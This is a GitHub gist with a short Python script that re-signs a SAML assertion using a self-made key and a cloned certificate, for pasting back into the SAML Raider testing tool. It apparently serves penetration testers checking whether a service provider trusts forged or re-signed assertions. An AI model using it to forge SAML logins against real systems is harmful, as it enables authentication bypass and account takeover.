Skip to content

Instantly share code, notes, and snippets.

@FrankSpierings
Created June 29, 2020 12:40
Show Gist options
  • Star 0 You must be signed in to star a gist
  • Fork 0 You must be signed in to fork a gist
  • Save FrankSpierings/a3361fe2e3d7467e0e1adbff38ccaae2 to your computer and use it in GitHub Desktop.
Save FrankSpierings/a3361fe2e3d7467e0e1adbff38ccaae2 to your computer and use it in GitHub Desktop.
If SAML Raider won't re-sign the requests....
from lxml import etree
from signxml import XMLSigner, XMLVerifier
self_key_path = 'self.key'
cloned_cert_path ='self.pem'
# Remove signatures using SAML Raider
unsigned_saml_path = 'unsigned_1.xml'
self_key = open(self_key_path).read()
cloned_cert = open(cloned_cert_path).read()
root = etree.parse(unsigned_saml_path)
# Find the SAML Assertion
ns = {'saml':'urn:oasis:names:tc:SAML:1.0:assertion'}
saml = root.find('//saml:Assertion', ns)
# Sign the SAML Assertion
signed_saml = XMLSigner(c14n_algorithm="http://www.w3.org/2001/10/xml-exc-c14n#").sign(saml, cert=cloned_cert, key=self_key)
saml.getparent().replace(saml, signed_saml)
# Paste this back into SAML Raider
print(etree.tostring(root, pretty_print=True).decode())
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment